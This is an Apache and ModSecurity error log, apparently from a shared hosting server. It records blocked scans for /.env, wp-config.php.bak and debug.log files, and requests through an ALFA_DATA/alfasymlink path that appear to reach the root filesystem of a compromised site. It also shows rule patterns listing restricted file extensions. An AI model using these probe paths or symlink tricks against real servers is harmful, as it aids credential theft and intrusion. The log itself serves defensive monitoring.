[Tue Oct 27 09:07:42.820150 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/production/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKKwAAAAE"]
[Tue Oct 27 09:07:42.821457 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "auCiHkyUSZ-HOP4isatNGAAAABY"]
[Tue Oct 27 09:07:42.821619 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "auCiHkyUSZ-HOP4isatNGAAAABY"]
[Tue Oct 27 09:07:42.821831 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/public/.env"] [unique_id "auCiHkyUSZ-HOP4isatNGAAAABY"]
[Tue Oct 27 09:07:42.857434 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "auCiHrL0NGPtr6217jDWkAAAAAA"]
[Tue Oct 27 09:07:42.857624 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "auCiHrL0NGPtr6217jDWkAAAAAA"]
[Tue Oct 27 09:07:42.857853 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/server/.env"] [unique_id "auCiHrL0NGPtr6217jDWkAAAAAA"]
[Tue Oct 27 09:07:42.895511 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKLAAAAAE"]
[Tue Oct 27 09:07:42.895711 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKLAAAAAE"]
[Tue Oct 27 09:07:42.895954 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/src/.env"] [unique_id "auCiHiK9f-ffgwd-vVTKLAAAAAE"]
[Tue Oct 27 09:07:42.896369 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "auCiHuImPdbb84WcZtcWLQAAAAM"]
[Tue Oct 27 09:07:42.896505 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "auCiHuImPdbb84WcZtcWLQAAAAM"]
[Tue Oct 27 09:07:42.896730 2026] [security2:error] [pid 3238221:tid 3238221] [client 34.140.234.80:42594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/staging/.env"] [unique_id "auCiHuImPdbb84WcZtcWLQAAAAM"]
[Tue Oct 27 09:07:42.899865 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "auCiHkyUSZ-HOP4isatNGQAAABY"]
[Tue Oct 27 09:07:42.900009 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "auCiHkyUSZ-HOP4isatNGQAAABY"]
[Tue Oct 27 09:07:42.900299 2026] [security2:error] [pid 3237991:tid 3237991] [client 34.140.234.80:42632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/test/.env"] [unique_id "auCiHkyUSZ-HOP4isatNGQAAABY"]
[Tue Oct 27 09:07:42.948031 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "auCiHivHqw5XD_QUjlp9BwAAAA4"]
[Tue Oct 27 09:07:42.948230 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "auCiHivHqw5XD_QUjlp9BwAAAA4"]
[Tue Oct 27 09:07:42.948403 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "auCiHmCe8-MB-b_EgcUqpAAAAB8"]
[Tue Oct 27 09:07:42.948492 2026] [security2:error] [pid 3237883:tid 3237883] [client 34.140.234.80:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/v1/.env"] [unique_id "auCiHivHqw5XD_QUjlp9BwAAAA4"]
[Tue Oct 27 09:07:42.948548 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "auCiHmCe8-MB-b_EgcUqpAAAAB8"]
[Tue Oct 27 09:07:42.948782 2026] [security2:error] [pid 3238015:tid 3238015] [client 34.140.234.80:42574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/v2/.env"] [unique_id "auCiHmCe8-MB-b_EgcUqpAAAAB8"]
[Tue Oct 27 09:07:42.950655 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "auCiHrL0NGPtr6217jDWkQAAAAA"]
[Tue Oct 27 09:07:42.950784 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "auCiHrL0NGPtr6217jDWkQAAAAA"]
[Tue Oct 27 09:07:42.950993 2026] [security2:error] [pid 3237843:tid 3237843] [client 34.140.234.80:42606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/web/.env"] [unique_id "auCiHrL0NGPtr6217jDWkQAAAAA"]
[Tue Oct 27 09:07:42.951863 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "auCiHsYLThtfGXx9TuqyYwAAAAc"]
[Tue Oct 27 09:07:42.952034 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "auCiHsYLThtfGXx9TuqyYwAAAAc"]
[Tue Oct 27 09:07:42.952310 2026] [security2:error] [pid 3238311:tid 3238311] [client 34.140.234.80:42652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/wp-config.php.bak"] [unique_id "auCiHsYLThtfGXx9TuqyYwAAAAc"]
[Tue Oct 27 09:07:42.971327 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auCiHiK9f-ffgwd-vVTKLQAAAAE"]
[Tue Oct 27 09:07:42.971547 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auCiHiK9f-ffgwd-vVTKLQAAAAE"]
[Tue Oct 27 09:07:42.971802 2026] [security2:error] [pid 3238204:tid 3238204] [client 34.140.234.80:42620] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/wp-content/debug.log"] [unique_id "auCiHiK9f-ffgwd-vVTKLQAAAAE"]
[Tue Oct 27 09:07:44.501859 2026] [core:error] [pid 3238314:tid 3238314] (13)Permission denied: [client 184.73.167.217:4924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/resource4
[Tue Oct 27 09:08:03.850903 2026] [ssl:error] [pid 3238204:tid 3238204] (70014)End of file found: [client 184.72.95.195:9326] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:08:08.223433 2026] [ssl:error] [pid 3238221:tid 3238221] (70014)End of file found: [client 54.162.69.192:34800] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:08:11.874697 2026] [ssl:error] [pid 3238223:tid 3238223] (70014)End of file found: [client 52.54.15.103:64772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:08:15.834424 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 44.217.255.167:60454] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:08:17.821392 2026] [authz_core:error] [pid 3238204:tid 3238204] [client 54.188.48.196:57376] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 09:08:20.050713 2026] [core:error] [pid 3238311:tid 3238311] (13)Permission denied: [client 52.6.5.24:62740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1a/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0B00:00/physical_node/driver/unbind
[Tue Oct 27 09:08:27.752916 2026] [ssl:error] [pid 3237931:tid 3237931] (70014)End of file found: [client 18.211.39.188:43278] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:08:35.605904 2026] [security2:error] [pid 3238322:tid 3238322] [client 216.244.66.250:44072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/getpcaps"] [unique_id "auCiU32vMbfE1wjqa9ewrwAAAB0"]
[Tue Oct 27 09:08:35.605960 2026] [security2:error] [pid 3238322:tid 3238322] [client 216.244.66.250:44072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/getpcaps"] [unique_id "auCiU32vMbfE1wjqa9ewrwAAAB0"]
[Tue Oct 27 09:08:37.802953 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 52.204.37.237:9574] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:08:40.048835 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 50.19.102.70:23530] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:08:42.422478 2026] [core:error] [pid 3238408:tid 3238408] (13)Permission denied: [client 85.208.96.196:14972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/hwcache_align
[Tue Oct 27 09:08:43.772181 2026] [ssl:error] [pid 3238409:tid 3238409] (70014)End of file found: [client 23.23.180.225:31757] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:08:55.973003 2026] [core:error] [pid 3238311:tid 3238311] (13)Permission denied: [client 52.200.251.20:4921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/QEMU0002:00/driver/unbind
[Tue Oct 27 09:09:07.908583 2026] [ssl:error] [pid 3238015:tid 3238015] (70014)End of file found: [client 3.208.156.9:52591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:09:12.101677 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 52.204.89.12:17296] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:09:30.029892 2026] [core:error] [pid 3238322:tid 3238322] (13)Permission denied: [client 216.244.66.250:51042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf.rpmsave
[Tue Oct 27 09:09:31.308942 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 85.208.96.200:44986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:09:50.667484 2026] [security2:error] [pid 3238410:tid 3238410] [client 16.216.88.39:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "auCinoGnJEcoa68lv0nixQAAAAU"]
